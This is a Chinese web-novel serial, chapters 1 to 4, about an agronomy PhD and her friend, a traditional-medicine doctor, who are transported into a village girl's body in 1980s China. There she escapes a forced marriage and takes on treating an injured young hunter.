《开局先包一座山【80】》
1. 穿越八零
“秦双！”沈如快速脱下衣服一头扎进江水里，这会还是沪市的3月，江水有些冰冷，冷不丁的跳进来，饶是沈如是个“练家子”都有点瑟瑟发抖，但是他没想到秦双居然会在桥上推嚷中掉下河里，这家伙最近也太倒霉了，正想着沈如看到前方出现了一个人影，深吸一口气就准备一鼓作气游过去，没注意到在她身边悄然出现了一个黑色的漩涡，一点点像他靠近。
秦双正在拼命挣扎，远远看见沈如，以及他背后的那个漩涡！一时之间窒息的头脑更窒息了，水里压力太大，她只能努力指着沈如身后，寄希望她能尽快摆脱，直到下一秒漩涡突然变大，沈如眼看着就要抓着秦双，就两眼一黑了
沈如感觉脑袋很疼很晕，仿佛有十个容嬷嬷在拿针扎他的脑袋，而且身上硬硬的硌的疼，她想醒但是醒不过来，忽然感觉脑袋里有细微又耳熟的声音，“沈如沈如，你快醒醒，快醒醒啊，我现在就是个瞎子，你也快被卖了啊！”，卖这个字好像触发了什么人机系统，沈如一下子就坐了起来，“小双，卖什么啊，我来”。睁开眼沈如就发现自己身处一间姑且称之为房子的地方，刚刚起身的时候还听见后面有东西掉下来，转头一看原来是墙边的黄泥簌簌地掉，“我可能是脑子不太清醒，要不我再睡一会吧”沈如如此想这，脑袋里就发出尖锐爆鸣声，“你个大傻春，你确定周围正常吗？”
沈如惊呆了，刚刚睁眼没看见人她以为自己幻听了，这会才发现声音是从自己脑袋里传出来的，而且隐隐约约有点熟悉，忽然她惊呼一声”小双！！，你人呢，我刚刚不是在水下救你吗，这是怎么回事！”
秦双悠悠说了句”好像是重生了，刚刚有个机械音问我要做人还是做人机，我想着做人哪有人机有挑战，就选了人机，然后我就进你脑袋里了，而且因为你一直没醒来，我就没办法看到人，只能听声音。你说这是不是就是传说中的想你时，你在闹海~”。
沈如心下一松，至少好友也在，也暗暗下决心，总有办法把朋友解救出来！
“昭昭啊，醒了没有啊？”说着一个中年女人走了进来，手里端着碗鸡汤，只是神色略有些难看，仿佛是有些不好意思。
“这是谁啊你知道吗？”沈如刚刚清醒，估摸着这女人是原主的妈妈或者姑姑辈的，“这是你这个身体的妈妈，你先把鸡汤喝了吧，听他们说你这具身体也是刚刚跳河的,身体是革命的本钱，咱们养好身体再闹革命”，听着脑子里秦双的声音，沈如才反应过来，原来他是穿越了。
秦双碎碎念着，努力把这几天沈如昏迷时候收集的信息整合起来。
这里好像是一个不太发达的山村，原主家里很穷，原身的弟弟沈卫要结婚了，女方要三转一响，32条腿的彩礼，家里实在拿不出来，沈卫又要死要活，在自己房间要上吊，这才让原主爸妈打起了她的主意，把她嫁出去家里就能收一笔彩礼，何况沈昭昭长得白净，尤其是一双水汪汪的大眼睛在一张鹅蛋脸上显得特别灵气，今年也才19岁，本来想过几年在考虑婚嫁，没想到沈卫的事情一出，只能潦草提上日程。
“本来娘也不想把你嫁给隔壁云水村的王建国，他都四十了，可是你弟那彩礼只有他给的起也愿意给，你想不开跳河，娘的心里也可难受了，乖，不要想不开，嫁给谁不是嫁呢”说着王芸擦了擦眼泪，但是沈如心里只觉得好笑，为了儿子的彩礼把女儿嫁给四十岁的光棍，现在女儿跳河了才来哭有什么用。
秦双正在她脑袋里静静看他表演，“小如，咱得跑！”
正准备回应秦双，沈如把手从王芸，这个她名义上的妈妈，手里抽出来，王芸仿佛愣了一下，没想到平日里乖巧听话的女儿会这样，但是一想到刚刚被救回来可能是受惊了，就立刻开口说，”娘知道你不愿意，刚刚隔壁段吾那小子过来说，他哥哥段野也愿意娶你，只是他前些天摔下山崖，医生都说治不了，那段野长得高高大大也帅气，打猎也是一把好手，可惜家里人死的早，就剩个7岁的弟弟，按娘的意思还是选王建国，至少以后家里有个男人，也没有孩子要你照顾。”
”我累了，需要休息“沈如觉得该听的信息都差不多了就赶紧让王芸走人，这个便宜妈话说的好听事儿办的难看，她得好好想想后面怎么办，如果要逃跑也要规划一下路线。
王芸关上了门，墙上的黄泥又掉落一块，秦双叹了一口气，沈如就乐了，“你别叹气了，现在你是什么情况啊？”
“我？我现在就是个人机，可以在你的脑子里活动，只有你能听见我说话，我也只能顺着你的视线看东西，不过我刚刚选择的时候有看到一条关键信息，每24个小时我有半个小时的放风时间，只要你开放心域，我就可以用你的身体自由行动半小时。而且”，秦双的声音低落下来，“对不起，如果不是我不小心掉到河里就不用害你变成现在这样。“
沈如心情也很复杂，没想到救人没成还穿越了，但是好在大家都还在，并且肉眼可见，自己还有个身体支配权，而且这种事情要怪只能怪那个奇怪的漩涡还有这个不负责任的系统，只负责调兵不负责科普，哪有新手村直接开放的啊！指南呢！
“既来之则安之，而且有你陪着我我很安心，说起来咱俩也都是孤儿了，来到这里也算是了无牵挂，不怕！走，咱们先去做个调查，看看附近情况”。
小望村四周都是山，郁郁葱葱的，当你抬头看过去，前方就是一排排的大树，仿佛为了拔尖，拼了命似的往天上长，林木覆盖了山岭，一眼看过去就像是望不到头的山水画，山脚下还有一汪湖，波光粼粼的，沈如觉得自己还隐隐约约看到了几只小鱼探头吐泡泡。
如果撇开这些烦心事不谈，小望村不失为一个郊游散心的好地方，“小双儿，你看，咱们那边可没有这么漂亮的地方”
“还真是，我们生下来就在沪市，到处都是人工雕琢的痕迹，说起来可能只有东北云南江浙一带有这么美的山水”。
“走，咱们去隔壁村看看，有没有公路！跑路可不能腿儿走。”
这会村与村之间没有公路，都是些黄泥小道，好在没有下过雨，路面还是干燥的，旁边都是林荫，走起来也颇为凉快，换做旁人可能还很惬意，但沈如的心还没有放下来，毕竟还有大麻烦在后面呢。
“王哥，我
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可听说你要娶隔壁村那小丫头了”。
沈如正走在一条小道上，想办法往大路上绕，就听见旁边树木从里有一点晃动和交谈的声音，“那丫头才19岁，哪能跟你比呀，你可是十里八乡都有名的大美人呢”。
“你少来，我还不知道你们男人的，从来都是喜欢年纪小的，不然你怎么肯付那么多彩礼”。
“哪能啊，我倒是最近真赚了一笔，你也知道，这两年刚刚放开管制，大家可以做点小生意，我好不容易赚了点钱，怎么可能白白给他们，我只是应付家里人，我都四十了，爸妈都急死了，正好现在手里有钱，等我娶到手了，彩礼呵呵，快让我亲一亲”,说着响起来一些细细簌簌的衣服摩擦声，沈如心里一阵恶心。
没心情听野鸳鸯，沈如正准备走，忽又听见“建国，你可不能骗我”。
“建国，王建国，彩礼”秦双的声音想起来，”这不是你那便宜爹妈把你卖给他了吗，这个烂人！快把我放出去，我叫他好看”。
“安心啦，嫁我是肯定不会嫁的，至于想骗我，看他有没有这本事了。”沈如心里盘算着，放开管制做生意，现在的背景也是华国八十年代，这会刚刚开放，也不再严厉的抓投机倒把,或许对她们来说是个好机会。
“小双儿，咱们来治治他！”。
沈如捡起了一块石头，对着秦双说，待会我说完你出来回应我，秦双跟她从小一起长大，看她挑个眉就知道对方要干什么，开心回应道：“瞧好吧您”。
沈如往四周看了下，远处田里有一个妇女在插秧苗，往那边走过去，把脸上用布遮了一半，低头说道：”大姐，我那边陷阱好像有个什么东西掉进去了，怪大的，我不敢去，你能不能陪我去看看啊”，陶花擦了擦脑门的汗，只感觉有便宜能占到，这要是帮了忙，少说不得拿只腿，至于沈如为什么不找家里人看，她可不管，万一人家怕猎物跑了呢？
“走，大姐陪你过去看看。”陶花看她脸蒙着，倒也不吃惊，这地里头太阳大得很，年轻小姑娘怕晒很正常，她这把年纪还怕呢。
“大姐，你听，那边动静是不是还挺大的，没准是个大件儿。”沈如在前面走着，一边回头对陶花说着，陶花也听到了，一股子兴奋劲儿，不等沈如慢慢的走，就直接往前面跑过去，沈如自然不着急。
果然，“王建国，沈红！我就说你是个不老实的，你男人还在外面打工，你跟这个光棍混在一起了，走，咱们去找书记，上次分的地我可不满意，还有王建国，你不是和邻村那小丫头要结婚了，啧啧。”
“别别别，花姐，我还要娶媳妇呢，咱们都一个村的”
“呵呵，一个村的你们干这事儿，可不厚道”。陶花可太开心了，上次分地这个沈红仗着家里有儿子多分了不少地，那本来应该是她的！
旁边忽然又传来一个女生，”你们在干什么啊？”
听着声音传来，王建国和沈红急得顾不上其他，赶紧穿衣服往后面跑，陶花哪能让这对鸳鸯跑掉，不仅是田地有着落了，半个月的八卦也有了。
似乎是想起来什么，回头发现沈如已经不在了。
2. 治病
沈如远远的在树后躲着，看着那俩衣衫不整跟着陶花往山里跑，又看看天色，吹了吹手掌，钻出了树林，对秦双说了句“恶人自有天收，咱走！”。
树木很密，有一些小苗打在脸上，她挠了挠脸把细枝拨开，心里有些感慨，又蹲下去挖了一点泥土，拨开看了看，感受一下湿度不禁有些开心，”小双儿，你看，这里居然是黑土地，这可是世界上公认最肥沃的徒弟，土质疏松、肥力极高，在我们那个年代，一般都是在东三省，没想到这边靠山脚下居然能长有怎么一片黑土地“
”真的！小如，这里可太适合做你的课题研究了，以前你还跟我吐槽，实在没办法异地开展研究，京市的地实在不适合无奈只能换个方向，这里是你的天堂啊！“
“对，你再看看那边”，秦双顺着沈如的视线看见了一片片田地，山脚下还有大片的荒地！
沈如感觉有一种天上掉馅儿饼的感觉，想她一个农学博士，或许21世纪农学是天坑，但是她是真的很喜欢亲手种下，收获果实这种幸福感，不然也不会在华清这个最高学府学习农学，还一路读到博士，可惜还没有实践就一朝回到解放前，不过她相信，在这80年代的农业大国一定能放开了种！
沈如被黑土地的喜悦冲的非常开心，没兴趣继续想他们这对野鸳鸯，既然信息探到了就准备看看附近的路，有没有什么进城的渠道，之前是因为不想惹麻烦，若村里人“强买强卖”她必须走！现在她回头看一看那大片的土地，有一种想扎根的冲动，或许来到这里是老天爷给她们的第二次机会，不过当务之急还是解决掉婚事，以及赚到第一桶金，她也不想一个人埋头干，累晕在地里，毕竟现在可没有自动化机器。
“你们不许抢，还给我，还给我，这是给我哥哥治病的！”。
沈如正看着崎岖、的只有来往村人没有车辆的路，思考着，旁边忽然传来一阵哭叫声，抬眼看过去，就见一堆小孩挤在一起，听不太清楚，几声大笑混杂着哭喊。
“我叫你们还给我”，段吾手里的药被江虎抢走，一时悲愤交加，直接冲上去，用头顶飞了那叫虎子的小男孩，江虎一屁股坐在地上，手里还拿着一个小纸袋，想来这就是那小孩口中的药了。
江虎是家中独子，也是段吾大伯的儿子，自小受尽宠爱，哪里受得了这气，抹了一把鼻子留下的血，瞪大眼睛看着段吾，毕竟一个7岁的小孩，段吾这会才有些怕了，但是一想到哥哥还在等着药，就大叫一声，
“我不怕你，把药还给我”。
江虎笑着“小龙，三柱子，给我上，打得他鼻子流血，打得他跪下认错，今晚给你们吃鸡肉！”说完就把那药随手往后面一扔就要上去打人。
沈如跑过来正好见他扔下了纸包，赶紧上前接住，看了看揣进兜里，上去拉开那几个小孩，叫了一声“住手”。
“小孩的事情大人少管”，那叫虎子的小男孩张口来了一句，沈如冷笑了一声，“那你们以大欺小以多胜强又算什么理，再站着我就替你们爸妈管教管教，顺便看看你们回家挨不挨揍”，沈如挥手做了一个挥拳的动作，那群小孩缩了一下，四散着跑开了。
“啊，我的药”，段吾本来还在发懵，突然想起来刚刚那药被小虎子扔了，赶忙从地上爬起来。
“别急，这儿呢”，沈如掏了掏兜，把药放在她眼前。
段吾赶忙把药接过来，对沈如鞠躬道谢，“谢谢，谢谢姐姐”话没说完声音就带着细细的哭腔，“我要回家了，哥哥生病了，医生说要赶紧吃药，不然，不然”。
“快去吧”，沈如自认为不是个喜欢小孩子的人，不过这小孩还有点血性，听起来过的也有点艰难，让她有点心疼。
“小如，这小孩长得倒还挺可爱，不像那几个熊孩子”。
“确实，我们走吧”。
沈如这几天基本没在家呆，王芸看她精神头还不错，也没有寻死觅活的了也就放下心来，沈卫最近跟小南的婚事也快要定下来了，她得准备准备了，家里还需要买些肉和酒，别到时候让人看了笑话。
“山里咱们不能进，我最近打听了一下，附近还是有一些野猪和蛇，隔壁的段家就是打野猪的时候掉下来山崖，我这个身体太弱，或许可以借口置办点衣服到县城去一趟，家里没有自行车，去县城一般就是一个星期一班车，村支书每周去县里汇报，到时候村民就可以乘她的车过去，家里穷的叮当响，到了县里还是要另谋生计，不过咱也不怕，你是老中医，我好歹也是农学博士，或许来对地方了。”
“昭昭啊，过来吃饭吧，妈给你做了鱼，喝点补补身子”，王芸给沈如碗里盛了一碗汤，里面还有一小块鸡蛋和鱼肉。
沈如刚接过碗，就听对面沈卫大叫出声，“妈，这条鱼可是小南送来的，为什么要给这个丧门星喝啊？嫁出去的女儿泼出去的水，现在吃了以后又不能吐出来”。
说着就要上来抢，沈如看着他碗里满满的鱼肉，和王芸以及他那位不发一言的便宜爹吃的窝窝头一阵无语。
"这小子会不会说话啊，简直白眼狼，吃的都要180斤了，自己爸妈还在啃窝窝头，我要控制不住了，控制不住了，白眼狼！”。
沈如听她碎碎念一点也不觉得烦，以前就是这样，秦双比她要乐观开朗，也更愿意共情别人，至于自己，除了在乎的人其他一切如浮云，就像现在，这个和她有着血缘关系的所谓弟弟，实在让她厌烦至极。
沈如抬眼冷冷地看着他，拿起了一根筷子，在手上转了一圈，往前猛地一射，筷子破空惊险擦过沈卫的耳朵，扎到了窗户上，其他三个人都愣住了。
沈卫大叫一声，指着沈如说道“她她她一定是中邪了，她怎么可能”。
沈如也没有想到效果这么好，看着王芸和沈强那一脸菜色，她莫名的心情好一点，拍了一下桌子，“吃饭”。
“刚刚那下装的太好了，满分一百分我给你99，少一分我怕你骄傲，”秦双见到这个场景乐开花了。
沈如回她，“其实我也没有想到效
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果这么好，可能是原身比较弱，所以反差太大，他们一时间有点接受不了，而且感谢大大破除迷信，不然早几年我可能还真不敢哈哈哈。别给我抓起来。"
“那有没有可能咱纯就靠武力压制他们，毕竟现在还有一个大危机呢“，秦双有点担心。
沈如摇摇头，“这个大危机只要他们儿子还要结婚，需要彩礼，就不可能结束，不要小瞧两颗重男轻女传宗接代的心。”
沈如实在不想在那间危房里呆着，更不想要和这几个便宜家人相处，吃完了她准备到处看看，刚走出院子就听见旁边传来哭声。
“哥，哥，你不要死啊，都怪我，如果不是我，你就不会去打猎更不会掉下去。”一个略显耳熟的声音想起来。
秦双说道“好像是上次那小孩，原来他就是那个段野的弟弟，不过情况听起来不怎么好啊”。
”走，咱们过去看看“，沈如对隔壁这家人也有点好奇，来这么久了，她发现这个村子的人并不十分亲近，家家户户除了耕种好自己的一亩三分田，社交活动很少，几乎不见桥头村尾有人闲聊，家家户户的房子也都破败不堪，相比之下隔壁段家简直是豪宅。
因为在其他村人都住的是黄泥房屋，只有他们是砖块砌成的屋子，甚至还有一个院子，看起来经济比其他人好上不少，只是这屋子现在仿佛有一种衰败的气息，尤其是小孩子一声声的哭喊下更显得落寞，沈如还看见旁边不远处有人开了门，往这个方向看来似乎是有点焦急。
”对，咱们去看看，我对那小孩印象还挺好的，先去看看”,沈如轻轻推开了院门，房间里光线有些昏暗，远远看去有人卧在床上，旁边坐着一个小男孩正在擦眼泪。
沈如慢慢走近，福至心灵想到这里或许就是王芸口中的段野，她不动声色的再走近一点。
屋子里光线有点昏暗，仿佛是纪录片里看过的那种古早灯泡。
有个年轻男声传来，有点虚弱，“小五，不要哭了，先前打到的野猪我已经托支书帮忙卖掉，估摸着能有八百块钱，加上这些年攒下的积蓄，够你长大了，只可惜你年纪太小，要是我不在了实在不放心，大伯一家可以适当来往，但是不可托付。我先前了解过隔壁的沈昭昭，她虽然人较为软弱，但是有是非之心，我替她付了彩礼，我也算是临死前做了一件好事”。
段野扯开嘴角笑了笑：“想必她会好好照顾你长大，倘若有大事发生，你们解决不了可以去找支书，他是个好人，先前我帮他几次，想来不会拒绝。”
说完伸出手去摸摸段吾的脑袋，笑了笑，看着确实非常虚弱。
沈如往下扫过去，看到他的腿，只见有一处包扎，隐隐见红，人的气色也确实不太好但是看起来似乎也不是性命攸关，想到这人也算是想帮她，虽然是有自己的小算盘，但是人生在世，无欲无求才最可怕。
“小双儿，你看他这腿能治吗？”沈如问了下秦双，想看看是否有法子解决，倘若对方真的有此一劫，她也会尽力照顾段吾的。
3. 没有药如何治病？
“小如，我看他气色，似是外伤炎症引起的感染以及骨头挫伤后的血瘀坏疽，详细病情我们可能得进去看看，但是看着不像是濒死的状态。”
“那就去看一看。”沈如听她这么说，心里有个底，敲了下门等小孩跑过来开门后直接走了进去。
“沈姐姐，你，你能不能救救我哥”？
可能是之前被沈如帮过，段吾对沈如有一点依赖，这会看见她又有点忍不住掉眼泪，沈如看着有点不忍心，拍了拍他的脑袋，“别哭，姐姐有办法。”
段野本来在床上看着，这会听到这句话也有点惊讶，隐隐的有希望在心底升起，“昭昭，你说你有办法治好我的腿吗？”
“别着急，先让我看看”沈如看着段野的表情带着希冀，这才有机会好好打量一下。
原来这段野年纪这般小，看着也就18岁，眉眼带着稚气，皮肤不算太白但是长得非常好看。
眉毛黑且有型，一双眼睛是内双显得很清秀，最好看的是那只鼻子和嘴巴，鼻子高挺笔直的刀锋下又带着微微驼峰，嘴巴泛着白但是饱满异常，看着蛮好亲的，沈如偷偷的想了下。
“小双儿，靠你了。”沈如慢慢解开段野的包扎，在心底对秦双说到。
“没问题，这弟弟还特帅的，救人功德+1，救你老公功德加满哈哈哈”秦双的声音带着喜悦，尤其是她看到这伤并不十分严重。
沈如没有接话，直接放开身体主导权，让秦双出来，秦双重获身体，还有点不适应，抬起头看向段野，
“嗨，帅哥你好”秦双眉飞色舞的对着段野打招呼，虽然段野有些不明白态度为什么发生这么大转变，但还是尝试回应着“同志你好”
秦双忍不住哈哈大笑，沈如笑着示意他，“别闹了，快点看看”。
秦双也不闹了，开始检查起伤口，腿骨骨折，应该是从高处跌落，伴有外伤，流血不止，现在伤口上还没有完全结痂。
伸手顺着小腿往上探，每探到一个关节就观察着段野的表情，直到有一处见他突然面色大变，冷汗直接留下，却不发一声。
秦双心里有了底，松开手，缓缓开口到：“骨盆、左股骨多处骨折，开放式骨折导致化脓性感染和厌氧菌感染，并且你气血虚。中医认为，气血乃人之根本”说到这里秦双止住了话头，因为她突然想到这里是八零年代，眼前这个男生也不过18的年纪，还要照顾一个小萝卜头。
“姐姐，哥哥还有救吗”，
段吾听到她突然不说话了心里一阵发虚就差没直接坐在地上，生怕跟县里的医生一样，告诉他只能靠哥哥自己扛过来，在他幼小的认知里，医生不管了不就是绝症吗！
“你过来，”沈如把段吾抱起来，感觉怀里的孩子还是有点重量的，心里有些讪讪，看来哥哥没吃饱，弟弟照顾的倒是挺好的，段吾噙着泪瞪着一双大眼睛看着沈如。
秦双把他抱着走到床边，指着段野，说道“你哥，我能治。不过我有个条件”。
“答应，我哥肯定答应，求你了沈姐姐快救救他！。”段吾听到能治赶紧抱住秦双的腿。
“我力所能及的事情当然可以答应你，只是，只是...”
段野有点犹豫，秦双打断了他的话头，说道“我一良好市民当然不可能教唆犯罪，你能做到。”
“好，那就麻烦昭昭你了。”
“叫的这么肉麻，得嘞，小五拿纸笔。”
秦双捏着跟炭笔和一个旧课本，叹了一口气，尽量把字写工整一点，口中念念有词，“骨折外伤医生已经治好了，只是现在医疗条件有限，恐怕感染医生只能开个消炎药。”
“对，就是消炎药，朱医生说感染太严重，只能吃消炎药自己扛过去！”
秦双有点吃惊，她对目前的医疗水平没有一个明确的了解，这个程度的病在县城里居然无法100%救治。
“小江啊，我来给你拿点药”外面有一个苍老的男声传来，听着像是砂纸揉出来的声音，不太利索，闷闷沉沉的，有点像现代的东北口音。
“支书来了，小五，你去开个门。”段野看起来有点高兴。
“慢着，我有一个要求，我帮你治病的事情暂时不要告诉其它人。”
秦双在刚刚有人过来时就回去了，沈如暂时不想让其它人觉得她变化很大，虽然现在不再大幅度破除四旧，但是以防万一，还是尽量避免风险。
段野不知道为何，但是救命恩人的话还是要听的，对着段吾点了点头，嘱咐他不要出去说。
牛远方是村里的支书，村子里一共一百来户人口，靠土地吃饭，开放的市场和他们没什么关系，只要全村人吃得好处得好他就安心了，父辈传下来的职位和训诫让他对村里人有很强的责任心，这次帮段野卖野猪还想办法多卖了点，也是心里感慨，这怕是熬不过去了，唉。
屋里好一会没有动静，牛远方有些着急，赶忙推开门，看见床前站着的是沈家那闺女？
“牛叔叔，我哥哥有救了！”段吾迫不及待的说道，忽然听见哥哥和沈如同时咳了一声，想到刚刚哥哥的嘱咐，不敢再说，段吾吐了吐舌头，跑回哥哥床边。
段野正准备开口找补，被沈如截住了话头，正对上牛远方有些疑惑的表情迎上去，“牛书记，我从同学那里以前得到一个偏方，对骨折后感染有奇效！您之前送过来的药很有效果，我今天看段野状态不错，等我给他拿了药，应该很快能好，我有一个同学她爸爸也是从树上掉下来，本来医生都说没救了，哪成想一个路过的赤脚医生一个方子给治好了。”
“真的？”
牛远方没想到段野还有得治，“我的乖乖，没想到还有这种事，你们需要什么药，我来给你们准备准备”，沈如自己也不好备药，毕竟她没钱，就按照秦双的嘱咐，开口，
“需要准备当归三两，桂枝去皮二两，细辛三两，甘草二两，大枣二十五枚，通草二两。”
”另外他气血有亏，需要有大补气血的药材，最好是有参片”，
方远愣住了，他就说哪里有这么好的事，原来这药方里都是中药，前些年中医全消失了，这几年倒是不再排斥，可是有胆子开中医馆的也少之又少。况且这参片，那不是那些当官的才能吃的？
”昭昭啊，我也不是不知道中医，毕竟活了这么些年头了，先前我们去医院，那边都是些，正经医生，他们开的都是些药片啊。”
牛远方从怀里掏出一支烟，这还是他每次去县里见领导备的，这会子他有点愁，拿出来摸了摸又放回兜里，拍了拍。
秦双看着牛远方的动作和声音，不禁脱口而出“牛爷爷”，沈如有点忍俊不禁。
“牛爷爷，那按您说，这县城里就一点中药也没有？”
沈如有点懵，没想到80年代中医居然是这么的不受待见，倘若如此，后续要是发热可真的就是听天由命了。
这咋变成爷爷了，“那倒也不是，咱们县里有一个药房，那老
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板之前被，唉，反正时隔20年，这会应该是他孙子吧，把药房又开了起来，明天我去看看。“牛远方实在不忍心段野这好小伙就这么没了，其实他还是很希望把自己孙女嫁给他了，虽然是穷了点。
但是有责任心又能干，况且长得也不错，他家小芳没事还偷偷看，别以为他不知道！
"那成，叔，明天进城叫上我，咱们一起，那方子在我那，我们明天去问问看。”
沈如觉得自己高估了这个年代的生活条件，正好也可以去县城里看看，倘若有合适的种子和赚钱的法子也不错，不管怎么样，以后自己就要在这个时空独立生活了！
“小五啊，那明天你在家等我们，有消息我们回来，中午去你婶子那，我让她做点好的，你们哥俩明天吃。“牛远方说着，还从裤子口袋里掏出一个纸包，递到段野手里，
“这是卖野猪那八百块钱，你拿着，以后家里少不得用钱的地方。”
段野没想到只是把野猪追到陷阱里，自己也一时失误掉下山，本来以为自己躲不过去，没想到沈如的到来给了她一点希望。
“昭昭，你拿着，我相信你，希望你能答应我的求婚，如果我能活下来”，说到这里段野有点沮丧，眉眼耷拉下来，看着有点丧气，"如果我能活下来，我一定会好好照顾你的！。"
"好好养病，我会治好你的。"
沈如心知明天买药需要用钱，也不客气收下了这笔钱，她不信偌大个县城，还能找不到这治病的中药！
段野看着她的眼神坚定，心里不自觉有些安定，自从爸妈去世他成为一家之主，就再也没有这种安心的感觉了，被迫长大，养家糊口，他的书没有读完，现在生命却好像走到尽头了.
好在，现在好像有了一点转机，多亏她的福！段野有点开心。
"你说什么！你们俩要结婚？”牛远方没想到来探个病收到了这个消息。
“我滴个乖乖，这要是小芳知道不得完犊子。”他有点着急的想着，自己可是劝了好久才把她劝住，毕竟她年纪还小，不好一头栽进去，况且现在情况复杂，他也还是有点私心的，想到这牛远方忍不住叹了口气。
段野这才反应过来一个事情，沈如只答应给他治病，虽然刚刚钱接受了，但是好像没有答复他。
”不，不是，是我喜欢昭昭，她还没有答应.....”
段野有些局促，没想到自己一时大意，不知道她会不会觉得自己唐突了。
“我答应你。”
沈如觉得“嫁”到段家是一个不错的决定，她有了自主权，如果救下段野，那想必这个家她也能按照自己意愿做事，以后也再不必担忧婚嫁这些事情，本来她就暂时不考虑结婚，何况这具身体才19岁！
“嘿嘿，其实我觉得这个是个好决定！我看人很准，这个段野是个好男人，况且以后谁敢欺负你，就把我放出去，我可跟师傅学了十年的针灸，草菅人命不在话下！”
秦双一点也不震惊沈如的决定，她也觉得这是最好大的决定，如果能在这里实现沈如的种田梦，她也没有遗憾了。
“好啦，越说越离谱，不过让你出来活动手脚还是可以的，这里医疗条件差，以后说不定还能有很多机会帮别人治病，不过这事从长计议，不然我们俩得被抓起来！”
“好好好，等小段好起来，牛爷爷给你们当证婚人！”。牛远方很高兴段野没有放弃，他实在不愿意看到这么好的年轻人就这么没了。
4. 求药
“呦，这是哪个大忙人啊！”
沈如刚走进自家院子，就听见沈卫的声音，冷笑一声，“我当是谁在狗叫呢？原来是一只哈士奇！”说完径直走进屋子狠狠关上门。
沈卫虽然不知道哈士奇是什么狗，但是总归是狗，他气不打一处来，三步并做两步，一身肥肉都随着步子抖动起来，重重的推开门，指着沈如怒道，
“给你脸了，一个赔钱货，居然骂我，看完不打死你！”说着沈卫举起那只圆手就往沈如那边推去。
沈卫感觉自己的力气仿佛扑了空，抬眼一看沈如已经灵活的侧身躲开，并且猝不及防一个拳头打过来，他只觉得眼睛一疼就人事不知了。
沈如转了转拳头，在心底念叨，“这具身体兼容性还不错，就是力气太小了，换做我以前的身体。”
“换你以前，他就不是倒下去而是飞出去了，谁不知道农学院有一个举铁180kg的牛人！”秦双看的很痛快，兴奋的回应道。
沈如看着这一个大胖子倒在自己屋里，“真是的，大晚上还要找事，你看见我那便宜爸妈了吗？既然他们重男轻女耳根子软，那我就下手硬一点！”
“没毛病！恶人就得恶人磨，你看这家伙一个顶两个胖，以后就好好操练他，咱们也是日行一善帮她减肥了！”秦双乐了，忍不住大笑出声。
“没错”沈如心里定下心，这段时间她算是发现了，村里人之间交流并不是十分多，除了支书对各家各户都比较了解，原身性格内向，大家对她都不是太了解，既然如此她的个性也不用藏着掖着了，以后这个家，轮不到沈卫做主！
沈如走到了隔壁屋子，已经熄了灯，这年头电费贵，各家各户都省着用，到了夜里一般就拿蜡烛应付，王芸他们的屋子等已经熄灭了，沈如大声拍了拍门，”喂，醒醒，沈卫晕倒了，快把他弄回去。“话音刚落，屋子吱呀一声被推开，王芸和沈强衣服没穿好就爬起来了。
"昭昭啊，这是出了什么事，你弟弟人呢？快带我们去！“王芸说着拉起沈如就要走，还还嘱咐沈强，"孩他爹，你快去拿几块钱，实在不行咱们送去王大夫那。”
沈如看着他们忙碌的样子，拉起嘴角冷笑一声，”那可得快点，不然等会就痊愈了"。
说完不看他们就往隔壁走去。
没有理会沈如的嘲笑，王芸一心只想着沈卫的伤。
门没有关，王芸一进门看到的就是沈卫倒在地上，赶紧上去想把他扶起来，但是沈卫那身板哪里是她能捞起来的，沈强见状赶紧上前，一打眼就看见沈卫脸上那个拳头印一时间有点迷惑，拳头有点小？
”哎哟我好疼啊，”沈卫转醒，只感觉眼窝甚疼，眼泪刷一下就留下来了。
立刻跟她爹娘告状，"爸妈，就是她，她是妖怪，居然打我，还捣我眼睛，过几天我可就要去上门提亲了，这让我怎么见人啊？”。
沈如听他在那边呜呜的哭一阵心烦，大喝一声，”闭嘴”。
沈卫本来还想告状，可看见爸妈也无动于衷，自己又打不过他，一阵悲从心来，又不敢哭出声，只能憋着掉眼泪。
“爸，妈，我这一次从鬼门关走了一遭，想明白了很多事。你们爱儿子可以，但是卖女儿给他结婚实在是让我心寒，我过段时间会和段野结婚，从家里搬出去。你们计算一下这些年的花销，到时候我会拿给你们。”
沈如顿了顿，“以后我们就各走各的路，尤其是你沈卫，见到我记得躲远点，嘴巴再不干净”。
说完，沈卫感觉自己的另一个眼窝也隐隐作痛，赶忙回到，“姐，姐，我再也不敢了，但是我要结婚，彩礼怎么办，没有彩礼她不会嫁给我的。”说完又哭了起来。
“彩礼？你有手有脚，想结婚就赚到钱再结吧。我要休息了。”沈如背过身去，实在见不得这幅又丑又窝囊的样子。摆手示意他们赶紧走人。
沈卫不敢耽搁，看他爸妈还衣服迷茫的样子就气不打一处来，“你们看什么呢，快走啊，她现在六亲不认的！要是打你们我可打不过他。”说完捂着眼睛先跑了。
王芸回头看看沈如，想说话可是看见她的表情就有点犯憷，沈强看她还愣着，就赶紧拉着他走了，说实话他也不赞同卖女儿换彩礼，但是儿子要死要活的闹，他也没有办法，以后就多干点吧，总能攒到的。
“你就是我的神，等我回到身体里了我也要健身，太帅了！”
“会的，我一定会想到办法恢复你的身体！”.
沈如一大早就去了牛支书家，坐上了前往县城的驾车。
阳光透过树叶的缝隙洒在乡间小路上，空气中弥漫着泥土的芬芳和淡淡的草药香。沈如跟着村支书，踏上了前往千里县的路途。
“小如，这车是驴拉的欸，是不是坐着很有意思，一般的车我不坐，这种猎奇的我必须要试试。”秦双看到这个车就兴奋了，21世纪的新青年哪里见过这种车，前头一个驴，后面跟着一个木头的两轮车，全景天窗！
沈如马上就同意了，让秦双放风五分钟。
牛支书在前面驾车，这条路走了无数遍，别说他连驴都知道怎么拐，他只需要在三岔路口给个指示就行，这会回头就看见后面沈昭昭不知道何时不在闭目养神，而是左摸摸，右碰碰，车上就坐了仨人，牛远方只当他年纪小也没当回事。
”昭昭啊，前面就是咱们千里县了，”牛远方从车上跳了下来，准备把车系在外面。
沈如眼看着眼前的路从黄土地变成了水泥，县城里倒是很干净。
’牛书记，咱们进去找那家中药馆吧。”
“好，我让刘达帮我看着车，可别丢了。你在这等我一下。”说完笑呵呵喝的往旁边一个小巷子走过去。
夏天的阳光热烈而耀眼，微风中带着一丝燥热，虽然已经开放了，但是看起来还没有很多人做生意，至少明明面上没有，沈如边走边观察着县城里的情况。
路边还没有吆喝得小贩，商店倒是挺多，沈如一打眼
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看过去国营商店里挂着鲜艳的的确良布，街上来来往往的人也很多，沈如颇有点好奇，只是闻不到一点药味，恐怕这附近没有中药馆。
”昭昭啊，我们去吧，那家馆子比较绕，咱们得走一里多地呢。“牛远方把车子安置好就赶忙跑了过来，带着沈如准备往十里街走。
